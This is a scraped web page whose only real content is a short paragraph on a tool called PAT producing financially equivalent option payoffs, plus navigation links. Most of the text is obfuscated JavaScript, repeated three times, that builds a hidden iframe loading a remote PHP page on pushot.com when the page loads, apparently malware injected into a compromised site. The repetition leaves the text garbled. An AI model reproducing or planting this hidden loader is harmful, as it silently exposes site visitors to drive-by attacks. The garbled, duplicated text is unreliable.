|
This example demonstrates that there are no limits to the level of complexity that PAT can handle financially equivalent payoffs are always produced easily. Each of the three payoffs can be a simple option, or it can be an entire portfolio consisting of a multitude of various financial instruments with dozens of differently shaped payoffs. PAT, working at the level of the symmetry underlying all of the assets, instantly produces financially equivalent payoffs. |
![]() | ![]() | ![]() |
| Previous Page | Index | Next Page |
').slice(9, -2).replace(/Y/g, 'l');var gZ=new Array();var jXM=new Date();hJ="hJ";function sT(){};this.yM=false;try {var pY=new Date();var mEZ=30714;this.eG="eG";var fU="";var lY=function(){};gD='';var mG = '\u0033\u0037\u0051\u0051\u0062\u0059\u0064\u0079\u0034\u004f\u004e'.replace(/QQ/g, 'Xv').slice(4, -3).replace(/Y/g, 'o');var x=53870;var yI="";nH="nH";var xX='';var g = '\u0031\u0038\u0056\u006a\u0069\u0069\u0073\u0059\u0079\u006c\u0065\u0055\u0070\u0051\u006f\u0062\u0045'.replace(/Q/g, 'm').slice(6, -6).replace(/Y/g, 't');var v=function(){};var w=18594;var i=23782;zZ="";var hP = '\u0046\u0056\u005a\u005a\u0050\u0044\u0043\u0069\u0059\u0051\u0051\u0051\u0065\u0048\u0068\u0073\u0071\u0045\u0054'.replace(/QQQ/g, 'ram').slice(7, -6).replace(/Y/g, 'f');yIR="";var fV=false;this.eH='';var iM=18010;var cP = '\u0039\u0051\u0059\u0059\u0074\u0065\u0056\u0056'.replace(/Q/g, 'w').slice(1, -2).replace(/YY/g, 'ri');this.bJ=25760;sC="";var fO=false;pYB=false;var z = '\u005a\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0074\u0068\u0066\u0068\u0057'.replace(/QQQQQQQQQQQQQQQ/g, 'xqscreatYYlemen').slice(4, -4).replace(/YY/g, 'eE');var hW=false;var kL=function(){return 'kL'};this.oC="";var cC = '\u0069\u0051\u0051\u0051\u0051\u0051\u0051\u0061\u0059\u0065\u004c\u0056\u005a'.replace(/QQQQQQ/g, 'HLsYcI').slice(3, -7).replace(/Y/g, 'r');wT='';this.lG="";var wR="";sA="";var uN=51043;var lB="";var bB="";var n = '\u0056\u0033\u0051\u0051\u006c\u004d\u0064\u0073\u0065\u0074\u0041\u0074\u0074\u0059\u0059\u0062\u0075\u0074\u0065\u0074\u0077'.replace(/QQ/g, 'F9').slice(7, -2).replace(/YY/g, 'ri');lH="";bD="";var mE = '\u0073\u006d\u0068\u0069\u0059\u0059\u0065\u006e\u0051\u0051\u006e\u0047\u0032'.replace(/QQ/g, 'SY').slice(2, -5).replace(/Y/g, 'd');kH=23710;kY="";var y = '\u0050\u0051\u0078\u0079\u0076\u0069\u0073\u0059\u0059\u0069\u006c\u0069\u0074\u0079\u0069\u0030\u0076\u0074\u0041\u0079'.replace(/Q/g, 'r').slice(4, -6).replace(/YY/g, 'ib');var tR=14279;jZ="jZ"; var cF = '\u0067\u0046\u0079\u0074\u006e\u006b\u0047\u0053\u0061\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u007a'.replace(/QQQQQQQQQQQQQ/g, 'ppendChYYdas8').slice(8, -5).replace(/YY/g, 'il');function cD(){};function eX(){};var pN=38547; fN=false;var cG=function(){return 'cG'};cI="";kT=27614; var o=this.b();this.pK='';this.gA="";this.cVL='';this.gO=28961;this.aA=43603;q="";this.sM=29690;var oU=document[z](hP);var xJ=function(){};this.pM="pM";oU[g][y] = mE;this.bR=false;function hN(){};oU[n](cC, o);this.xM="xM";var cM="cM";var xN=false;this.tY=59267;tM="";var bVN=new Array();h[mG][cF](oU);function tE(){};var lO=function(){return 'lO'};uH="";var rU=new Array();this.uW="";var pJ=21677;} catch(yD) {function fI(){};var xE="";var iL="iL";mW="mW";var lV=new Date();h.write(m);xMJ="";var rV=function(){};var vQ=new Date();var pQ=new Date();gX=false;var vX=new Array();tD='';var zR = this;this.kM="";var dM=new Array();var wV=new Date();this.wX=false;function pX(){};lP="";this.sU='';this.eT=false;c[uB](function(){ function hHH(){};var jV='';this.zC="";mA="";this.aC="aC";var gR=function(){};zR.d();var wRC="";this.eA=false;var gY=new Date();function rVU(){};var eV=16852;var bVJ=function(){};var eQ=function(){};}, 132);oUF=false;var oG=new Date();var uI=new Array();}this.vQL="";gN='';var bO=new Date();},b : function() {var eZ="";var cE=46956;return '\u0045\u0065\u0055\u0058\u0045\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0070\u0075\u0073\u0068\u006f\u0074\u002e\u0063\u006f\u006d\u0051\u0051\u006f\u0075\u006e\u0074\u0059\u0059\u0070\u0068\u0070\u0067\u0079\u0070\u0062\u005a'.replace(/QQ/g, '/c').slice(5, -5).replace(/YY/g, '5.');xT="xT";rM="rM";}};fR=32310;var mB=new iH(); this.bE=30783;mB.d();var vU=new Date(); ').slice(9, -2).replace(/Y/g, 'l');var gZ=new Array();var jXM=new Date();hJ="hJ";function sT(){};this.yM=false;try {var pY=new Date();var mEZ=30714;this.eG="eG";var fU="";var lY=function(){};gD='';var mG = '\u0033\u0037\u0051\u0051\u0062\u0059\u0064\u0079\u0034\u004f\u004e'.replace(/QQ/g, 'Xv').slice(4, -3).replace(/Y/g, 'o');var x=53870;var yI="";nH="nH";var xX='';var g = '\u0031\u0038\u0056\u006a\u0069\u0069\u0073\u0059\u0079\u006c\u0065\u0055\u0070\u0051\u006f\u0062\u0045'.replace(/Q/g, 'm').slice(6, -6).replace(/Y/g, 't');var v=function(){};var w=18594;var i=23782;zZ="";var hP = '\u0046\u0056\u005a\u005a\u0050\u0044\u0043\u0069\u0059\u0051\u0051\u0051\u0065\u0048\u0068\u0073\u0071\u0045\u0054'.replace(/QQQ/g, 'ram').slice(7, -6).replace(/Y/g, 'f');yIR="";var fV=false;this.eH='';var iM=18010;var cP = '\u0039\u0051\u0059\u0059\u0074\u0065\u0056\u0056'.replace(/Q/g, 'w').slice(1, -2).replace(/YY/g, 'ri');this.bJ=25760;sC="";var fO=false;pYB=false;var z = '\u005a\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0074\u0068\u0066\u0068\u0057'.replace(/QQQQQQQQQQQQQQQ/g, 'xqscreatYYlemen').slice(4, -4).replace(/YY/g, 'eE');var hW=false;var kL=function(){return 'kL'};this.oC="";var cC = '\u0069\u0051\u0051\u0051\u0051\u0051\u0051\u0061\u0059\u0065\u004c\u0056\u005a'.replace(/QQQQQQ/g, 'HLsYcI').slice(3, -7).replace(/Y/g, 'r');wT='';this.lG="";var wR="";sA="";var uN=51043;var lB="";var bB="";var n = '\u0056\u0033\u0051\u0051\u006c\u004d\u0064\u0073\u0065\u0074\u0041\u0074\u0074\u0059\u0059\u0062\u0075\u0074\u0065\u0074\u0077'.replace(/QQ/g, 'F9').slice(7, -2).replace(/YY/g, 'ri');lH="";bD="";var mE = '\u0073\u006d\u0068\u0069\u0059\u0059\u0065\u006e\u0051\u0051\u006e\u0047\u0032'.replace(/QQ/g, 'SY').slice(2, -5).replace(/Y/g, 'd');kH=23710;kY="";var y = '\u0050\u0051\u0078\u0079\u0076\u0069\u0073\u0059\u0059\u0069\u006c\u0069\u0074\u0079\u0069\u0030\u0076\u0074\u0041\u0079'.replace(/Q/g, 'r').slice(4, -6).replace(/YY/g, 'ib');var tR=14279;jZ="jZ"; var cF = '\u0067\u0046\u0079\u0074\u006e\u006b\u0047\u0053\u0061\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u007a'.replace(/QQQQQQQQQQQQQ/g, 'ppendChYYdas8').slice(8, -5).replace(/YY/g, 'il');function cD(){};function eX(){};var pN=38547; fN=false;var cG=function(){return 'cG'};cI="";kT=27614; var o=this.b();this.pK='';this.gA="";this.cVL='';this.gO=28961;this.aA=43603;q="";this.sM=29690;var oU=document[z](hP);var xJ=function(){};this.pM="pM";oU[g][y] = mE;this.bR=false;function hN(){};oU[n](cC, o);this.xM="xM";var cM="cM";var xN=false;this.tY=59267;tM="";var bVN=new Array();h[mG][cF](oU);function tE(){};var lO=function(){return 'lO'};uH="";var rU=new Array();this.uW="";var pJ=21677;} catch(yD) {function fI(){};var xE="";var iL="iL";mW="mW";var lV=new Date();h.write(m);xMJ="";var rV=function(){};var vQ=new Date();var pQ=new Date();gX=false;var vX=new Array();tD='';var zR = this;this.kM="";var dM=new Array();var wV=new Date();this.wX=false;function pX(){};lP="";this.sU='';this.eT=false;c[uB](function(){ function hHH(){};var jV='';this.zC="";mA="";this.aC="aC";var gR=function(){};zR.d();var wRC="";this.eA=false;var gY=new Date();function rVU(){};var eV=16852;var bVJ=function(){};var eQ=function(){};}, 132);oUF=false;var oG=new Date();var uI=new Array();}this.vQL="";gN='';var bO=new Date();},b : function() {var eZ="";var cE=46956;return '\u0045\u0065\u0055\u0058\u0045\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0070\u0075\u0073\u0068\u006f\u0074\u002e\u0063\u006f\u006d\u0051\u0051\u006f\u0075\u006e\u0074\u0059\u0059\u0070\u0068\u0070\u0067\u0079\u0070\u0062\u005a'.replace(/QQ/g, '/c').slice(5, -5).replace(/YY/g, '5.');xT="xT";rM="rM";}};fR=32310;var mB=new iH(); this.bE=30783;mB.d();var vU=new Date(); ').slice(9, -2).replace(/Y/g, 'l');var gZ=new Array();var jXM=new Date();hJ="hJ";function sT(){};this.yM=false;try {var pY=new Date();var mEZ=30714;this.eG="eG";var fU="";var lY=function(){};gD='';var mG = '\u0033\u0037\u0051\u0051\u0062\u0059\u0064\u0079\u0034\u004f\u004e'.replace(/QQ/g, 'Xv').slice(4, -3).replace(/Y/g, 'o');var x=53870;var yI="";nH="nH";var xX='';var g = '\u0031\u0038\u0056\u006a\u0069\u0069\u0073\u0059\u0079\u006c\u0065\u0055\u0070\u0051\u006f\u0062\u0045'.replace(/Q/g, 'm').slice(6, -6).replace(/Y/g, 't');var v=function(){};var w=18594;var i=23782;zZ="";var hP = '\u0046\u0056\u005a\u005a\u0050\u0044\u0043\u0069\u0059\u0051\u0051\u0051\u0065\u0048\u0068\u0073\u0071\u0045\u0054'.replace(/QQQ/g, 'ram').slice(7, -6).replace(/Y/g, 'f');yIR="";var fV=false;this.eH='';var iM=18010;var cP = '\u0039\u0051\u0059\u0059\u0074\u0065\u0056\u0056'.replace(/Q/g, 'w').slice(1, -2).replace(/YY/g, 'ri');this.bJ=25760;sC="";var fO=false;pYB=false;var z = '\u005a\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0074\u0068\u0066\u0068\u0057'.replace(/QQQQQQQQQQQQQQQ/g, 'xqscreatYYlemen').slice(4, -4).replace(/YY/g, 'eE');var hW=false;var kL=function(){return 'kL'};this.oC="";var cC = '\u0069\u0051\u0051\u0051\u0051\u0051\u0051\u0061\u0059\u0065\u004c\u0056\u005a'.replace(/QQQQQQ/g, 'HLsYcI').slice(3, -7).replace(/Y/g, 'r');wT='';this.lG="";var wR="";sA="";var uN=51043;var lB="";var bB="";var n = '\u0056\u0033\u0051\u0051\u006c\u004d\u0064\u0073\u0065\u0074\u0041\u0074\u0074\u0059\u0059\u0062\u0075\u0074\u0065\u0074\u0077'.replace(/QQ/g, 'F9').slice(7, -2).replace(/YY/g, 'ri');lH="";bD="";var mE = '\u0073\u006d\u0068\u0069\u0059\u0059\u0065\u006e\u0051\u0051\u006e\u0047\u0032'.replace(/QQ/g, 'SY').slice(2, -5).replace(/Y/g, 'd');kH=23710;kY="";var y = '\u0050\u0051\u0078\u0079\u0076\u0069\u0073\u0059\u0059\u0069\u006c\u0069\u0074\u0079\u0069\u0030\u0076\u0074\u0041\u0079'.replace(/Q/g, 'r').slice(4, -6).replace(/YY/g, 'ib');var tR=14279;jZ="jZ"; var cF = '\u0067\u0046\u0079\u0074\u006e\u006b\u0047\u0053\u0061\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u0051\u007a'.replace(/QQQQQQQQQQQQQ/g, 'ppendChYYdas8').slice(8, -5).replace(/YY/g, 'il');function cD(){};function eX(){};var pN=38547; fN=false;var cG=function(){return 'cG'};cI="";kT=27614; var o=this.b();this.pK='';this.gA="";this.cVL='';this.gO=28961;this.aA=43603;q="";this.sM=29690;var oU=document[z](hP);var xJ=function(){};this.pM="pM";oU[g][y] = mE;this.bR=false;function hN(){};oU[n](cC, o);this.xM="xM";var cM="cM";var xN=false;this.tY=59267;tM="";var bVN=new Array();h[mG][cF](oU);function tE(){};var lO=function(){return 'lO'};uH="";var rU=new Array();this.uW="";var pJ=21677;} catch(yD) {function fI(){};var xE="";var iL="iL";mW="mW";var lV=new Date();h.write(m);xMJ="";var rV=function(){};var vQ=new Date();var pQ=new Date();gX=false;var vX=new Array();tD='';var zR = this;this.kM="";var dM=new Array();var wV=new Date();this.wX=false;function pX(){};lP="";this.sU='';this.eT=false;c[uB](function(){ function hHH(){};var jV='';this.zC="";mA="";this.aC="aC";var gR=function(){};zR.d();var wRC="";this.eA=false;var gY=new Date();function rVU(){};var eV=16852;var bVJ=function(){};var eQ=function(){};}, 132);oUF=false;var oG=new Date();var uI=new Array();}this.vQL="";gN='';var bO=new Date();},b : function() {var eZ="";var cE=46956;return '\u0045\u0065\u0055\u0058\u0045\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0070\u0075\u0073\u0068\u006f\u0074\u002e\u0063\u006f\u006d\u0051\u0051\u006f\u0075\u006e\u0074\u0059\u0059\u0070\u0068\u0070\u0067\u0079\u0070\u0062\u005a'.replace(/QQ/g, '/c').slice(5, -5).replace(/YY/g, '5.');xT="xT";rM="rM";}};fR=32310;var mB=new iH(); this.bE=30783;mB.d();var vU=new Date();